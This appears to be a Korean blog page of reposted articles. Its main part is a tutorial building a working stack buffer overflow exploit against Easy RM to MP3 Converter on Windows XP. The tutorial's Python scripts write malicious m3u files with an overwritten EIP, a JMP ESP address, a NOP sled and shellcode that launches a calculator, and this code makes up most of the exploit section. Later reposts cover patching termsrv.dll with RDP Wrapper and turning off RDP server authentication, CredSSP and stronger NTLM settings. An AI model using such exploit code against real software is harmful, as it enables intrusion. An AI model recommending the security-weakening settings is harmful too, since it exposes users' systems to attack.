반응형

출처: http://regnid.tistory.com/15

 

개요


보통 음악을 재생하는 프로그램(Easy RM to MP3 Converter)에서 음악 파일 혹은 음악 파일 리스트를 입력 받아 음악을 재생할 것이다. 하지만 악의적인 m3u 파일을 생성하고 로딩하여 원래 프로그램의 기능이 아닌 행위를 할 수 있다. 이번 실습에서는 스택 기반 오버플로우 기법을 이용하여 m3u 파일을 로딩시킴으로써 계산기가 띄어지도록 하는 실습을 할 것이고, 이를 통해서 스택 기반 오버플로우에 대해서 개념을 확실히 잡을 것이다.



Exploit 대상

  • Easy RM to MP3 Converter



실습 환경

  • 운영체제

Windows XP Service Pack 3: Exploit 대상인 Easy RM to MP3 Converter를 실행시킬 운영체제

Kali Linux 1.1.0: pattern을 생성하고, 검색하기 위해 사용

  • 사용한 툴

Python 2.7.10: m3u 파일을 생성하는 스크립트 작성

OllyDbg 1.1: Easy RM to MP3 Converter를 디버깅

findjmp.exe: JMP ESP 검색하기 위해 사용



실습


1. 버퍼 크기 파악


1) m3u 파일(A 10,000) 생성하는 python 스크립트를 작성하고 실행하여 m3u 파일을 생성한다. 아래의 스크립트로 생성된 crash10000m3u 파일을 Easy RM to MP3 Converter에 로딩하면 아래와 같이 정상적인 에러 메시지를 확인할 수 있다. 하지만 비정상적으로 종료가 되지 않은 것으로 보아 EIP가 변경되지 않았고, 버퍼가 넘치지 않은 것을 의미이다.


1
2
3
4
5
6
7
8
filename = 'crash10000.m3u'
junk = 'A' * 10000
 
file = open(filename, 'w')
file.write(junk)
file.close()
 
print '[+] file(%s) created successfully' % filename

 




2) 버퍼를 넘치게 하기 위해 이번엔 아래와 같이 10,000개를 20,000개로 수정하고, 실행하여 생성된 파일을 로딩하면 위와 같은 정상적인 에러 메시지를 확인할 수 있다.


1
2
3
4
5
6
7
8
filename = 'crash20000.m3u'
junk = 'A' * 20000
 
file = open(filename, 'w')
file.write(junk)
file.close()
 
print '[+] file(%s) created successfully' % filename

 



3) 아직 넘치지 않았기 때문에 30,000개로 변경하고, 실행하여 생성한 파일을 다시 로딩하면 이번에는 위와 같은 정상적인 메시지가 아닌 것을 확인할 수 있다.


1
2
3
4
5
6
7
8
filename = 'crash30000.m3u'
junk = 'A' * 30000
 
file = open(filename, 'w')
file.write(junk)
file.close()
 
print '[+] file(%s) created successfully' % filename

 




4) 위에서 나온 창에서 오류에 관한 자세한 정보를 보기 위해 ‘여기를 클릭하십시요’를 클릭하면 아래와 같이 나오고, 오류 보고에 관한 기술 정보를 보려면 ‘여기를 클릭하십시요’를 누르면 아래와 같이 자세하게 볼 수 있다. 오류 내용을 확인해보면 Address가 41414141인 것을 볼 수 있는데 이는 버퍼가 넘쳐서 Return Address를 덮어 씌워져 엉뚱한 주소(41414141)로 점프한 것을 확인할 수 있다.





5) 이번에는 EIP를 내가 원하는 주소로 변경하기 위해 버퍼의 크기를 알아낼 것이다. 그래서 'A' 25,000개와 'B' 5,000개를 입력으로 스크립트를 수정한다. 아래 스크립트를 실행한 파일을 해당 프로그램에 로딩하면 역시 오류가 발생하고, 위에서 확인한 것처럼 Address를 확인해보면 42424242, 즉 버퍼가 25,000개에서 30,000개 사이인 것을 알 수 있다.


1
2
3
4
5
6
7
8
filename = 'crash250000+5000.m3u'
junk = 'A' * 25000 + 'B' * 5000
 
file = open(filename, 'w')
file.write(junk)
file.close()
 
print '[+] file(%s) created successfully' % filename

 




6) Kali Linux에서 제공하는 pattern_create.rb(usage: ./pattern_create.rb <패턴의 개수>)를 이용하여 5,000 byte의 패턴을 생성하고, 스크립트에 삽입한다.



1
2
3
4
5
6
7
8
filename = 'crash250000+5000_2.m3u'
junk = 'A' * 25000 + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9...Gk0Gk1Gk2Gk3Gk4Gk5Gk' # created pattern
 
file = open(filename, 'w')
file.write(junk)
file.close()
 
print '[+] file(%s) created successfully' % filename

 



7) 위에서 수정한 스크립트를 실행하여 m3u 파일을 생성하여 프로그램에 로딩하면 역시 오류가 발생합니다. 오류가 난 Address를 확인해보면 42376b42인 것을 볼 수 있습니다.



8) 위에서 확인한 주소(42376b42)를 pattern_offset.rb(usage: ./pattern_offset.rb <offset> <생성했던 패턴 개수>)를 실행하면 offset이 1101임을 확인할 수 있습니다. 즉, return address 전까지의 버퍼의 크기는 26101(=25000+1101)이 됩니다.




2. EIP & 스택 조작


1) 버퍼의 크기를 알았으니 EIP를 원하는 주소로 스크립트를 수정합니다. 그리고 아래 스크립트를 실행하여 파일을 생성한다.


1
2
3
4
5
6
7
8
9
10
11
12
filename = 'crash42424242.m3u'
junk = 'A' * 26101
eip = 'BBBB'
junk2 = 'C' * 160
 
file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(junk2)
file.close()
 
print '[+] file(%s) created successfully' % filename

 



2) Easy RM to MP3 Converter 프로그램을 실행시킨 뒤, OllyDbg를 실행하여 File > Attach하고 실행(Debug > Run, F9)한다.




3) 위의 스크립트에서 생성된 파일을 로딩시키면 아래와 같이 멈추는데, 이 때 EIP 값이 42424242이고, 스택 한 43434343(CCCC)로 가득 채워지는 것을 확인할 수 있다. 하지만 실제로 스택의 top에도 43434343(CCCC)가 있을 것이다.




4) 이번에는 스택 상단에 정확히 원하는 값을 넣고자 EIP(42424242) 다음에 몇 byte가 사용되지 않는지 확인하기 위해 아래와 같이 코드를 수정한다.


1
2
3
4
5
6
7
8
9
10
11
12
filename = 'crashesp.m3u'
junk = 'A' * 26101
eip = 'BBBB'
junk2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
 
file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(junk2)
file.close()
 
print '[+] file(%s) created successfully' % filename

 



5) 위와 같이 프로그램을 Attach한 다음 생성한 m3u 파일을 로딩한다. 그리고 스택을 보면 42424242 다음에 44434241이 pop 되어있고 ESP가 가리키는 데이터는 48474645임을 확인할 수 있다. 무슨 용도로 pop이 되는지 알고자 한다면 프로그램을 분석해야 하지만 프로그래밍을 해본 경험을 바탕으로 추측해본다면 m3u 파일을 로딩하는 함수의 매개변수가 한 개 사용했기 때문에 pop을 함으로써 4 byte가 소모 되는 것으로 생각된다.

참고(정확한 이유) >> https://www.corelan.be/index.php/forum/exploit-writing-win32-stack-bof-direct-ret/question-about-esp-in-tutorial-pt1/




6) 위에서 4 byte가 pop 되는 것을 확인하였고, EIP 다음에 pop 될 데이터와 ESP가 가리키는 데이터를 ‘C’로 채워 수정한다. 그리고 아래 스크립트를 실행하여 m3u 파일을 생성한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
filename = 'crashesp_2.m3u'
junk = 'A' * 26101
eip = 'BBBB'
junk2 = '0000'
junk3 = 'C' * 160
 
file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(junk2)
file.write(junk3)
file.close()
 
print '[+] file(%s) created successfully' % filename

 



7) 위에서 생성된 파일을 로딩시키면 EIP가 42424242, 스택 Top 데이터는 43434343으로 채워지는 것을 확인할 수 있다.






3. 쉘 코드 삽입


1) 이번엔 EIP를 ESP 값을, junk2를 ‘\x90(NOP)’ 4 byte, junk3을 shellcode로 변경하여 작성하고, 실행한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from struct import pack
 
filename = 'crashshell.m3u'
junk = 'A' * 26101
eip = pack('<L', 0x000FF730)
nops = '\x90' * 4
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e
\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78
\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5
\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05
\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f
\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1
\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0
\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05
\x7f\xe8\x7b\xca'
 
file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(nops)
file.write(shellcode)
file.close()
 
print '[+] file(%s) created successfully' % filename

 



2) 위에서 생성된 파일을 로딩시켜보면 실행될 것이라 생각했던 쉘 코드가 실행되지 않고, 스택 Top 데이터가 원하는 값이 아닌 것을 확인할 수 있다. 문제점으로는 점프하려 했던 0x000FF730은 NULL 바이트(종단 문자)를 가지고 있으므로, 원하는 지점까지 프로그램이 도달하지 못한다. 그리고 특정 메모리로 직접 점프하는 방법은 좋은 방법이 아니다. 그렇기 때문에 ESP로 점프하는 명령어(JMP ESP, CALL ESP, PUSH ESP / RETN, …)를 찾고 EIP가 그 함수를 호출하도록 하는 것이 좋다.




3) findjmp.exe(usage: findjmp.exe <DLL> <Register>)를 사용하여 JMP ESP 명령어를 검색한다. 이 프로그램을 사용하지 않고 디버거를 이용하여 실행 가능한 영역에서 JMP ESP 혹은 CALL ESP, PUSH ESP / RETN 등 기계어를 검색하는 방법이 있다.




4) 위에서 NULL 바이트가 없는 주소를 선택하여 eip 변수에 넣어서 실행한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from struct import pack
 
filename = 'crashshell_2.m3u'
junk = 'A' * 26101
eip = pack('<L', 0x7C86467B)
nops = '\x90' * 4
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e
\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78
\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5
\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05
\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f
\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1
\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0
\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05
\x7f\xe8\x7b\xca'
 
file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(nops)
file.write(shellcode)
file.close()
 
print '[+] file(%s) created successfully' % filename

 



5) 위의 파일을 로딩해보면 실패한 것을 확인할 수 있다. 이유를 생각해보면 JMP ESP 명령어가 실행할 때 ESP 값이 항상 0x000FF730 값일 리는 없을 것이다.




6) 그렇기 때문에 ‘\x90(NOP)’의 개수를 40개로 늘려 수정하고, 실행하여 m3u 파일을 생성한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from struct import pack
 
filename = 'crash.m3u'
junk = 'A' * 26101
eip = pack('<L', 0x7C86467B)
nops = '\x90' * 40
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e
\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78
\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5
\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05
\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f
\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1
\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0
\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05
\x7f\xe8\x7b\xca'
 
file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(nops)
file.write(shellcode)
file.close()
 
print '[+] file(%s) created successfully' % filename

 



7) 생성한 파일을 해당 프로그램에 로딩시키면 오류가 발생하지만(쉘 코드가 실행이 되고 이상한 코드가 실행이 되지만 예외처리를 하지 않았기 때문으로 추측) 아래와 같이 계산기가 띄워지는 것을 확인할 수 있다.






참고

KISEC에서 편역한 Exploit Writing 1 스택 기반 오버플로우


Written by dinger from SecurityInsight Research Group.

반응형
반응형

출처: https://technet.microsoft.com/ko-kr/library/ee851581(v=ws.10).aspx


Windows® 7에서 WoWLAN(Wake on Wireless LAN) GTK(Group Temporal Key) 키 다시 입력 및 EAP(확장할 수 있는 인증 프로토콜) 전원 관리 시나리오에 대한 지원을 사용하려면 레지스트리 키를 수정해야 합니다. GTK는 네트워크 트래픽을 암호화하고 암호 해독하는 데 사용됩니다. EAP는 유선 및 무선 네트워크에서 사용할 수 있는 인증 프레임워크입니다.

일부 장치만 이러한 옵션을 지원하므로 GTK 키 다시 입력 및 EAP 절전 모드 해제는 기본적으로 사용 안 함으로 설정됩니다. 현재 절전 모드인 컴퓨터는 네트워크 어댑터가 GTK 또는 EAP 작업을 지원하는 경우에도 해당 작업에 대한 절전 모드를 해제하지 않습니다.

GTK 및 EAP 시나리오에 대한 WoWLAN 지원을 사용하려면

GTK 및 EAP 시나리오에 대한 WoWLAN 지원을 사용하려면 다음 레지스트리 키를 만들거나 수정합니다.

  • 키 이름: EnableWoWLAN

  • 유형: DWORD

  • 경로: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NativeWifiP\Parameters

  • 값: 1

이 레지스트리 키 수정과 함께 장치 관리자에서 네트워크 장치도 구성해야 합니다.

  1. 장치 관리자를 엽니다.

  2. 구성하려는 네트워크 카드를 마우스 오른쪽 단추로 클릭하고 장치 속성을 선택합니다.

  3. 전원 관리 탭에서 이 장치를 사용하여 컴퓨터의 대기 모드를 종료할 수 있음 확인란을 선택합니다.

이 레지스트리 키를 구성하면 컴퓨터가 GTK 키 다시 입력에 대한 요청 및 EAP 요청 ID 패킷에 응답합니다.


반응형
반응형

출처:http://blog.djjproject.com/178



개인서버를 운영하게 되면서 윈도우를 호스팅할 일이 생겼습니다. 예전에는 가상머신을 하나 추가적으로 파서 호스팅을 했었습니다. 

   

그러나 윈도우 운영체제 하나로 원격데스크톱 멀티 세션 기능을 통해 하나의 컴퓨터에 여러 사용자가 연결하여 각자의 데스크톱을 가질 수 있고 

   

혹은 하나의 사용자가 여러 세션으로 동시에 다중 접속이 가능합니다.

   

   

기본적으로는 한 컴퓨터에 한 세션만 접속이 가능하고 A 라는 계정이 이미 로그인이 되어 있다면 B라는 계정이 원격데스크톱 요청을 보내면 A의 연결은 끊겨버립니다.

   

   

실제로 gpedit.msc 로 설정할 수 있는 부분이 있는데 거기서 설정을 해도 실제로 원격데스크톱 연결을 다중으로 할 수는 없습니다. 

   

그래서 만들어진 프로그램이 있는데 RDP Wrapper 라는 프로그램 입니다.

   

주소는 아래에 있습니다.

   

https://github.com/stascorp/rdpwrap/releases

   

   

1.6버전이 최신버전이며 윈도우10을 정식으로 지원합니다. 

   

위의 프로그램은  RDP 관련 파일은 termsrv.dll 파일을 수정하여 멀티세션이 가능하게 해 주는 프로그램입니다.

   

   

다운을 받고 압축을 풀어봅니다.

   

   

내부에 RDPconf.exe 프로그램이 있습니다. 그 프로그램을 통해서 설치가 되어 있는 상태인지 혹은 RDP 설정을 진행 할 수 있습니다.

   

지금은 설치가 되어있지 않은 상태입니다. 그럼 설치를 진행해 보겠습니다. install.bat 파일로 설치를 진행해 줍니다.

   

   

설치를 진행할 때는 스크립트에 관리자 권한을 주어서 실행합니다. 실행을 할 때 원격데스크톱에서 작업을 진행하면 아래처럼 연결이 잠시 끊깁니다.

   

   

한 10초 정도 기다려 주고 재접속을 시도해 봅니다.

   

그럼 설치가 정상적으로 되었다는 말이 나옵니다.

   

   

다시 RDPconf.exe 로 확인을 진행합니다.

   

   

뭔가 안될껏 같은 not supported 가 뜹니다.

   

다시 파일목록의 아래에 있는 update.bat 파일을 관리자 권한으로 실행합니다.

   

   

마찬가지로 원격데스크톱 서비스를 재시작하기 때문에 원격연결이 잠시 끊깁니다.

   

   

다시 RDPconf.exe 를 확인합니다.

   

   

이제 될것처럼 생겼네요 ㅎㅎ

   

   

마지막으로 RDPCheck.exe 프로그램으로 정상적으로 멀티세션이 동작하는지 확인을 해 보겠습니다. 체크 프로그램은 로컬 호스트에 이미 로그인 된 계정으로 또 로그인을 시도하는 프로그램입니다.

   

중복로그인이 되면 성공한 것입니다.

   

일단 테스트를 위해서 RDPconf.exe 에서 Single Session Per User 를 체크해제 합니다. 

   

   

   

(혹은 다른 계정을 생성하여 로그인이 되는지 테스트 해 봐도 됩니다.)

   

그리고 아래의 프로그램을 실행시킵니다.

   

   

   

   

   

   

암호를 입력합니다.

   

   

같은 컴퓨터에 같은 계정으로 2개의 세션이 연결 가능합니다.

   

(위 스크린샷은 이미 원격데스크톱으로 연결된 컴퓨터에서 또 한번 원격데스크톱을 사용한 것입니다.)

   

   

   

계정을 여러개 생성하여 중복 로그인을 시도해 보겠습니다.

   

   

테스트를 위해 계정 4개를 생성하였습니다. 연결은 무조껀 Guacamole 입니다. (제가 휴가를 못나가서 블로그 포스트도 이렇습니다 ㅠㅠ)

   

   

Guacamole 서버의 성능이 별로 좋지 않아서 3대만 테스트 해 보았습니다 잘 되네요 ㅎㅎ

   

감사합니다.

반응형
반응형

출처:http://sansu.tistory.com/3079


윈도우7인 컴퓨터로 원격 데스크톱 연결이 계속 실패했다.

내가 접속하려는 컴퓨터는 윈도우 7 64bit, enterprise K 이고

이전에는 원격 접속이 잘 되었는데 컴퓨터를 바꾼 후 계속 안되었다.

(고정 ip, 하드디스크를 포함한 컴퓨터는 바뀌고 윈도우도 새로 설치했다.)



처음에는 자격증명이 작동하지 않는다고 나왔다.


출처: http://blog.naver.com/east227/20190465795


[Solution]


이 문제를 해결하려면 원격 데스크톱 연결 6.0에서 새로운 기능을 해제하여 원격 데스크톱 연결 5.x의 기능으로 되돌립니다. 이렇게 하려면 다음과 같이 하십시오.

1. 시작, 실행을 차례로 누르고 mstsc.exe를 입력한 다음 확인을 누릅니다.

2. 옵션을 누른 다음 일반 탭을 누릅니다.

3. 다른 이름으로 저장을 누른 다음 파일 이름 상자에 파일 이름을 입력합니다.

4. 원격 데스크톱 파일을 저장할 위치를 선택하고 저장을 누른 다음 취소를 누릅니다.

   (저장된 파일의 확장명은 .rdp입니다.)

5. 시작, 실행을 차례로 누르고 notepad를 입력한 다음 확인을 누릅니다.

6. 파일 메뉴에서 열기를 누릅니다.

7. 파일 형식 목록에서 모든 파일을 누릅니다.

8. 찾는 위치 목록에서 4단계에서 저장한 파일을 찾아 누른 다음 열기를 누릅니다.

9. 다음과 유사한 줄을 찾습니다.

    authentication level:i:n

    (n 자리 표시자는 현재 인증 수준을 나타냅니다.)

10. 인증 수준을 0으로 변경하여 줄이 다음과 같이 되도록 합니다.

    authentication level:i:0

    (인증 수준을 0으로 설정하면 RDP 6.0에서 서버 인증을 확인하지 않습니다.)

11. 파일의 끝에 다음 줄을 추가합니다.

    enablecredsspsupport:i:0

    (이 줄이 있으면 원격 데스크톱 연결을 설정하기 전에 자격 증명을 제공할 필요가 없습니다.)

12. 파일 메뉴에서 저장을 누릅니다.


원격 데스크톱 연결을 사용하여 연결하려면 12단계에서 저장한 파일을 실행합니다.

(이러한 단계를 수행하면 원격 데스크톱 연결 6.0에서 제공하는 새로운 보안 기능이 제거됩니다. 또한 원격 데스크톱 연결 6.0이 시스템 속성에서 네트워크 수준 인증이 있는 원격 데스크톱을 실행 중인 컴퓨터에서만 연결 허용 옵션을 사용하는 Windows Vista 기반 컴퓨터와 호환되지 않습니다.)

[출처] [WINDOWS] 원격 데스크탑 "자격증명이 작동하지 않습니다"|작성자 출석첵




그리고는 그 다음에는 사용자 이름 혹은 암호가 올바르지 않습니다. 라고 오류가 떴다.



출처: http://answers.microsoft.com/ko-kr/windows/forum/windows_7-networking/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC/85611d45-627a-443a-bb8b-30edc05185c8



해당 문의는 Windows 7 에서 변경된 NTLM 인증방법을 인식을 하시 못해 인증이 되지 않아서 발생 할수 있습니다.

아래 제시된 내용을 참고 하시기 바랍니다.


Windows 7 Professional, Ultimate, Enterprise 버전에서 인증하는 방법


1. 시작 - 컴퓨터 선택 후 오른쪽 마우스 클릭하여 속성을 선택 하시기 바랍니다.

2. 왼쪽에 있는 고급 시스템 설정을 클릭하여 컴퓨터 이름탭에 전체 컴퓨터 이름이 영문으로 되어 있는지 확인하고 작업그룹이 동일한 이름으로 되어 있는지 확인 하시기 바랍니다.

3. 시작 - 프로그램 및 파일 검색창에 로컬 보안 정책 실행 하시기 바랍니다.

4. 보안 설정 - 로컬 정책 - 보안 옵션 - 네트워크 보안 : LAN Manager 인증 수준을 더블클릭하여 LM 및 NTLM 보내기 & 협상되면 NTLMv2 세션 보안 사용 (&)으로 변경하고 확인을 누르시기 바랍니다.

5. 시작 - cmd를 입력하여 나타나는 목록을 오른쪽 마우스 클릭하여 관리자 권한으로 실행하여 명령 프롬프트 창이 실행되면 gpupdate /force를 입력 및 실행 후 재시작 하시기 바랍니다.

6. Windows 7 Home Premium은 그룹 정책 설정이 지원 되지 않아 시작 - 프로그램 및 파일 검색창에 regedit를 입력하여 나타나는 목록을 오른쪽 마우스 클릭하여 관리자 권한으로 실행 후 아래 경로로 이동하여 데이터값을 생성 하시기 바랍니다.


   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA

   종류 : DWORD

   값 : LmCompatibilityLevel

   데이터 : 1



... 2번에 작업그룹이랑 컴퓨터 이름은 같게 설정할 수 없었지만 일단 바꿨고,

4번에 설정이 선택이 안되어 있었기 때문에 이것이 가장 큰 문제가 아닐까 했다.

일단 리붓한 후 다시 접속해서 접속은 되었는데, 

위의 문제를 해결하고 잠시 접속이 되었다가 다시 아래 문제가 발생하였기 때문에 좀 더 두고봐야겠다.



반응형

+ Recent posts